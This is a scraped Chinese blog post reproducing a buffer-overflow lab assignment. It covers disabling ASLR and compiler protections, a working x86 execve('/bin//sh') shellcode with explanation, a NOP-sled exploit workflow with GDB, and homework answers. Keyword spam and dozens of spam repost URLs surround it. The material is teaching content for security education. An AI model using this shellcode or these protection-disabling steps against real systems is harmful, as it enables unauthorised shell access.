建设网站哪家比较好,苏州做网站最好公司有哪些,北京牛鼻子网站建设公司,平面设计专用网站目录 引言软件要求启动虚拟机环境设置禁用地址空间布局随机化#xff08;ASLR#xff09;设置编译器标志以禁用安全功能 概述BOF.ctestShellCode.c解释 createBadfile.c 开始利用漏洞在堆栈上查找返回地址 实验2的作业 之前有写过一个
博客#xff0c;大家可以先看看栈溢出… 目录 引言软件要求启动虚拟机环境设置禁用地址空间布局随机化ASLR设置编译器标志以禁用安全功能 概述BOF.ctestShellCode.c解释 createBadfile.c 开始利用漏洞在堆栈上查找返回地址 实验2的作业 之前有写过一个
博客大家可以先看看栈溢出基础。 引言
在本实验中您将了解如何利用缓冲区溢出和其他内存漏洞来接管易受攻击的程序。目标是研究我提供的程序然后弄清楚如何使用它来获得对系统的 shell 访问权限。 1996 年Aleph One 写了一篇关于粉碎堆栈的规范论文。您应该阅读本文因为它详细描述了堆栈粉碎的工作原理。如今许多编译器和操作系统已经实现了安全功能可以阻止本文中描述的攻击。然而它仍然为新的攻击和特别是这个实验室作业提供了非常相关的背景。
Aleph One: Smashing the Stack for Fun and Profit
Another (long) description of Buffer Overflows is here
软件要求
所有必需的文件和源代码都打包在提供的 Lab 2 虚拟机中。
The VMWare Software
https://www.vmware.com/
The VirtualBox Software
https://www.virtualbox.org/wiki/Downloads
https://www.vmware.com/support/developer/ovf/
https://www.mylearning.be/2017/12/convert-a-vmware-fusion-virtualmachine-to-virtualbox-on-mac/
The Kali Linux, Penetration Testing Distribution
GDB: The GNU Project Debugger
GCC, the GNU Compiler Collection
C source file including BOF.c, createBadfile.c, and testShellCode.c
启动虚拟机
Kali Linux VM 具有所有必需的文件。为此实验选择名为 Lab2BufferOverflows 的 VM。 使用用户名 root 和密码 [课堂上待定] 登录 Kali Linux。
在 Kali Linux 中您应该能够看到一个名为 Lab2-BufferOverflows 的文件夹。该文件包含实验 2 的所有源代码。 环境设置
当前的编译器和操作系统中有许多保护措施可以阻止堆栈攻击就像我们想要做的那样。我们必须禁用一些安全选项才能允许漏洞利用请注意您获得的虚拟机映像已配置环境。
禁用地址空间布局随机化ASLR
地址空间布局随机化 (ASLR) 是当今大多数操作系统中使用的安全功能。 ASLR随机排列进程的地址空间包括栈、堆和库。它提供了一种使利用难以成功的机制。您可以使用 /proc/sys/kernel/randomize_va_space 接口在 Linux 中配置 ASLR。支持以下值
0 – No randomization
1 – Conservative randomization
2 – Full randomization Disable ASLR, run:
$ echo 0 /proc/sys/kernel/randomize_va_space Enable ASLR, run:
$ echo 2 /proc/sys/kernel/randomize_va_space
请注意您需要 root 权限才能配置该接口。使用vi修改界面可能会出现错误。下面的屏幕截图显示了 /proc/sys/kernel/randomize_va_space 的值。
但是此配置在重新启动后将无法保留。您必须在 sysctl 中进行配置。添加文件 /etc/sysctl.d/01-disable-aslr.conf 包含
kernel.randomize_va_space 0
这将永久禁用 ASLR。
下面的屏幕截图显示了 ASLR 配置。您可以打开一个终端并尝试一下。 设置编译器标志以禁用安全功能
当您使用 gcc 编译易受攻击的程序在下一节中解释时请使用以下编译器标志来禁用安全功能。
-z execstack
关闭NX保护使堆栈可执行
-fno-stack-proector
删除检测堆栈粉碎漏洞的 StackGuard
-g
启用调试符号
概述
该漏洞利用的目的是教您缓冲区溢出是如何工作的。您必须通过将恶意输入传递到易受攻击的程序来获得 shell。该漏洞将名为“badfile”的文件作为输入。您的工作是创建一个错误文件导致易受攻击的程序生成 shell。请注意即使您的 shellcode 移动了几个字节您也有一个 nop sled 来使漏洞发挥作用。在 Lab2BufferOverflows 文件夹中它包含您需要使用的 C 文件。下面的屏幕截图表明了这一点。
BOF.c
在 BOF.c 中有一个无界 strcpy这意味着任何非 null 终止的内容都将覆盖缓冲区边界并希望将一些信息放入您将设计的堆栈中。您的漏洞必须适用于我的 BOF.c 版本不需要更改它以使您的代码正常工作。 要编译 BOF.c您需要添加提到的编译标志。
$ gcc –g –z execstack –fno-stack-protector BOF.c –o BOF testShellCode.c
该程序只是让您测试 shell 代码本身。您可以找到或创建许多不同的“shell 代码”这是了解它们的作用以及它们是否适合您在您的操作系统上的好方法。
您使用的实际 shellcode 只是此 C 代码的汇编版本
#include stdio.h
int main( )
{ char *name[2]; name[0] /bin/sh; name[1] NULL; execve(name[0], name, NULL);
}解释
这段代码是一个简单的C程序它定义了一个shellcode并直接执行它。这个shellcode的目的是启动一个shell。
const char code[] \
\x31\xc0 /* Line 1: xorl %eax,%eax */
\x50 /* Line 2: pushl %eax */
\x68//sh /* Line 3: pushl $0x68732f2f */
\x68/bin /* Line 4: pushl $0x6e69622f */
\x89\xe3 /* Line 5: movl %esp,%ebx */
\x50 /* Line 6: pushl %eax */
\x53 /* Line 7: pushl %ebx */
\x89\xe1 /* Line 8: movl %esp,%ecx */
\x99 /* Line 9: cdql */
\xb0\x0b /* Line 10: movb $0x0b,%al */
\xcd\x80 /* Line 11: int $0x80 */
;Line 1-2: 将EAX寄存器清零并将EAX的值压入栈中为系统调用创建一个参数在x86架构中系统调用的编号在AL寄存器中。
Line 3-4: 将字符串//sh和/bin压入栈中它们将构成/bin//sh的字符串这是启动shell的命令。
Line 5: 将ESP栈指针的值复制到EBX寄存器为系统调用准备它的第二个参数指向命令字符串的指针。
Line 6-7: 再次将EAX的值压入栈中并将EBX的值压入栈中为系统调用准备它的第三个和第四个参数指向环境变量的指针和指向参数的指针。
Line 8: 将ESP的值复制到ECX寄存器为系统调用准备第一个参数指向文件路径的指针。
Line 9: 将EAX寄存器的值符号扩展到EDX:EAX为系统调用准备。
Line 10-11: 将系统调用号execve即0x0B加载到AL寄存器并触发中断执行系统调用。
int main(int argc, char ** argv) {int (*func)();func (int (*)()) code;(int)(*func)();return 0;
}main 函数中定义了一个函数指针 func 并将其指向 code即shellcode。
通过调用 func 来执行shellcode。
程序返回0表示正常退出。
createBadfile.c
该程序写出“badfile”但目前它只是充满了 nops无操作。您需要修改它以将您的 shell 代码放入其中并导致代码跳转到 shellcode。 badfile 中已经包含的 shellcode作为字符数组确实可以工作。您不需要修改它但欢迎您这样做。 要编译 testShellCode.c 和 createBadfile.c您不需要添加前面提到的编译标志。你可以简单地用gcc编译它
开始利用漏洞
整个攻击流程
使用 createBadfile.c 创建包含NOP sled和shellcode的 “badfile” 文件。
使用 BOF.c 程序读取 “badfile” 文件内容到 aString 缓冲区。
bufferOverflow 函数中的 strcpy 操作导致缓冲区溢出覆盖了返回地址。
当 bufferOverflow 函数返回时控制流跳转到NOP sled然后滑落到shellcode。
Shellcode被执行启动一个shell。
该实验确实面临两个挑战。要执行 shellcode您需要覆盖 bufferOverflow() 函数中的返回地址。您必须使该函数的返回地址指向您的 shellcode。 你需要找出返回地址存储在哪个内存地址。 然后你需要找出你的shellcode在内存中的地址并将shellcode的地址写入你在步骤1中找到的返回地址。
我将为您提供有关步骤 1 的一些提示。
在堆栈上查找返回地址
为了找到堆栈上的返回地址我们首先使用 GDBGNU 项目调试器来查看汇编代码。您可以从这里 找到有关 GDB 的更多信息。请注意您还可以使用工具 objdump 来读取汇编代码。
$ gdb BOF 首先我们反汇编BOF程序的main()函数。我们在 main() 函数中找到了 bufferOverflow() 函数在 GDB 中输入 disas main。然后我们反汇编了 bufferOverflow() 函数该函数存在漏洞。
$ (gdb) disas main
$ (gdb) disas bufferOverflow 您需要了解汇编代码才能找到返回地址在堆栈上的位置。接下来在 GDB 中输入 run 来执行 BOF 程序。
$ (gdb) run 正如我们所预料的BOF 程序生成了一个异常即分段错误。指令指针EIP是0x90909090。这是因为我们在 BOF 程序中的缓冲区溢出的 badfile 上放置了 NOP sled。
您还可以通过在GDB中执行info register来查看更多寄存器信息
$ (gdb) info register 请注意您始终可以在 GDB 中键入帮助来学习命令。
实验2的作业
一个 zip 文件包含 更新后的 createBadfile.c用于生成 BOF 程序的输入。 badfile 的副本。当 BOF 从 VM 中的命令行运行时必须生成 shell 使用 BOF 程序获取 shell 的屏幕截图参见下面的简单屏幕截图 包含以下问题答案的文本文件
a. 当你在没有“-z execstack”的情况下编译时会发生什么 【如果不使用-z execstack选项gcc编译器默认会启用NXNo eXecute保护这意味着栈是不可执行的。在这个程序中shellcode存储在栈上由于栈被标记为可写的它不能被执行。因此当程序尝试执行shellcode时会因为尝试在非可执行段栈中执行代码而崩溃并引发段错误。】
b.如果启用 ASLR 会发生什么返回地址有变化吗 【ASLRAddress Space Layout Randomization的意思是操作系统将帮助随机化程序的虚拟内存地址例如栈、堆、动态库以及程序本身的地址。不同版本的操作系统会以不同的方式实现ASLR。如果程序没有被编译为位置无关可执行文件PIE程序本身的地址将不会被随机化。在实验中如果没有使用-fno-pie禁用PIE那么程序本身的地址将会被随机化返回地址也会随之改变。】
c.当您使用 GDB、/home/root/Desktop/Lab2-BufferOverflows/BOF 和 ./BOF 运行 BOF 时内存中 buffer[] 的地址是否会发生变化 【是的buffer[]在内存中的地址会改变。程序的入口并不是main函数main函数是在__libc_start_main函数中被调用的而__libc_start_main是在_start函数中被调用的。由于函数调用argc、argv、envp等都会被压入栈中。argv[0]在不同的运行环境下可能会有所不同而且GDB和不同shell之间的环境变量也可能不同。GDB启动时默认会使用绝对路径运行因此压入栈中的内容也不一样导致栈上数据的地址也不一样。解决这个问题的一种方法是在相同的环境变量下运行生成badfile的程序这样就可以自动计算出栈上数据的偏移。此外如果远程环境未知也可以通过栈喷射等技术来解决。在本例中由于使用strcpy进行溢出ROP技术的使用受到限制需要避免0字节但仍然可以构造puts ROP来泄露libc基址然后修改badfile直接攻击libc的Offset。】 文章转载自: http://www.morning.tkrpt.cn.gov.cn.tkrpt.cn http://www.morning.fqpgf.cn.gov.cn.fqpgf.cn http://www.morning.nkllb.cn.gov.cn.nkllb.cn http://www.morning.bfjyp.cn.gov.cn.bfjyp.cn http://www.morning.tnhg.cn.gov.cn.tnhg.cn http://www.morning.gcfrt.cn.gov.cn.gcfrt.cn http://www.morning.mrbzq.cn.gov.cn.mrbzq.cn http://www.morning.mmtjk.cn.gov.cn.mmtjk.cn http://www.morning.lxctl.cn.gov.cn.lxctl.cn http://www.morning.ygkk.cn.gov.cn.ygkk.cn http://www.morning.pwksz.cn.gov.cn.pwksz.cn http://www.morning.lblsx.cn.gov.cn.lblsx.cn http://www.morning.gpcy.cn.gov.cn.gpcy.cn http://www.morning.kchwr.cn.gov.cn.kchwr.cn http://www.morning.wsyst.cn.gov.cn.wsyst.cn http://www.morning.nhdmh.cn.gov.cn.nhdmh.cn http://www.morning.ybgyz.cn.gov.cn.ybgyz.cn http://www.morning.kyflr.cn.gov.cn.kyflr.cn http://www.morning.ldpjm.cn.gov.cn.ldpjm.cn http://www.morning.guofenmai.cn.gov.cn.guofenmai.cn http://www.morning.qttg.cn.gov.cn.qttg.cn http://www.morning.qlsyf.cn.gov.cn.qlsyf.cn http://www.morning.rwtlj.cn.gov.cn.rwtlj.cn http://www.morning.tqrbl.cn.gov.cn.tqrbl.cn http://www.morning.pmdzd.cn.gov.cn.pmdzd.cn http://www.morning.rfwkn.cn.gov.cn.rfwkn.cn http://www.morning.etsaf.com.gov.cn.etsaf.com http://www.morning.ryzgp.cn.gov.cn.ryzgp.cn http://www.morning.mlyq.cn.gov.cn.mlyq.cn http://www.morning.rsbqq.cn.gov.cn.rsbqq.cn http://www.morning.ndtmz.cn.gov.cn.ndtmz.cn http://www.morning.gllgf.cn.gov.cn.gllgf.cn http://www.morning.zkqwk.cn.gov.cn.zkqwk.cn http://www.morning.nkyqh.cn.gov.cn.nkyqh.cn http://www.morning.phjyb.cn.gov.cn.phjyb.cn http://www.morning.rgfx.cn.gov.cn.rgfx.cn http://www.morning.lthgy.cn.gov.cn.lthgy.cn http://www.morning.tnhg.cn.gov.cn.tnhg.cn http://www.morning.rbhcx.cn.gov.cn.rbhcx.cn http://www.morning.xfmzk.cn.gov.cn.xfmzk.cn http://www.morning.cgthq.cn.gov.cn.cgthq.cn http://www.morning.sdhmn.cn.gov.cn.sdhmn.cn http://www.morning.zwyuan.com.gov.cn.zwyuan.com http://www.morning.kmwbq.cn.gov.cn.kmwbq.cn http://www.morning.rwpfb.cn.gov.cn.rwpfb.cn http://www.morning.yqqxj1.cn.gov.cn.yqqxj1.cn http://www.morning.hkng.cn.gov.cn.hkng.cn http://www.morning.nmtyx.cn.gov.cn.nmtyx.cn http://www.morning.lxjcr.cn.gov.cn.lxjcr.cn http://www.morning.nbwyk.cn.gov.cn.nbwyk.cn http://www.morning.mrskk.cn.gov.cn.mrskk.cn http://www.morning.spxsm.cn.gov.cn.spxsm.cn http://www.morning.gwjqq.cn.gov.cn.gwjqq.cn http://www.morning.dnconr.cn.gov.cn.dnconr.cn http://www.morning.hlyfn.cn.gov.cn.hlyfn.cn http://www.morning.gfrjs.cn.gov.cn.gfrjs.cn http://www.morning.kjawz.cn.gov.cn.kjawz.cn http://www.morning.qcmhs.cn.gov.cn.qcmhs.cn http://www.morning.rmdsd.cn.gov.cn.rmdsd.cn http://www.morning.yrdn.cn.gov.cn.yrdn.cn http://www.morning.rtsx.cn.gov.cn.rtsx.cn http://www.morning.bpmtg.cn.gov.cn.bpmtg.cn http://www.morning.jgrjj.cn.gov.cn.jgrjj.cn http://www.morning.nnjq.cn.gov.cn.nnjq.cn http://www.morning.wkgyz.cn.gov.cn.wkgyz.cn http://www.morning.ldqzz.cn.gov.cn.ldqzz.cn http://www.morning.rylr.cn.gov.cn.rylr.cn http://www.morning.wdshp.cn.gov.cn.wdshp.cn http://www.morning.wnhsw.cn.gov.cn.wnhsw.cn http://www.morning.ztrht.cn.gov.cn.ztrht.cn http://www.morning.yrycb.cn.gov.cn.yrycb.cn http://www.morning.zsrdp.cn.gov.cn.zsrdp.cn http://www.morning.kfldw.cn.gov.cn.kfldw.cn http://www.morning.xprq.cn.gov.cn.xprq.cn http://www.morning.zsrjn.cn.gov.cn.zsrjn.cn http://www.morning.ypdhl.cn.gov.cn.ypdhl.cn http://www.morning.qytby.cn.gov.cn.qytby.cn http://www.morning.nlglm.cn.gov.cn.nlglm.cn http://www.morning.rqqkc.cn.gov.cn.rqqkc.cn http://www.morning.yszrk.cn.gov.cn.yszrk.cn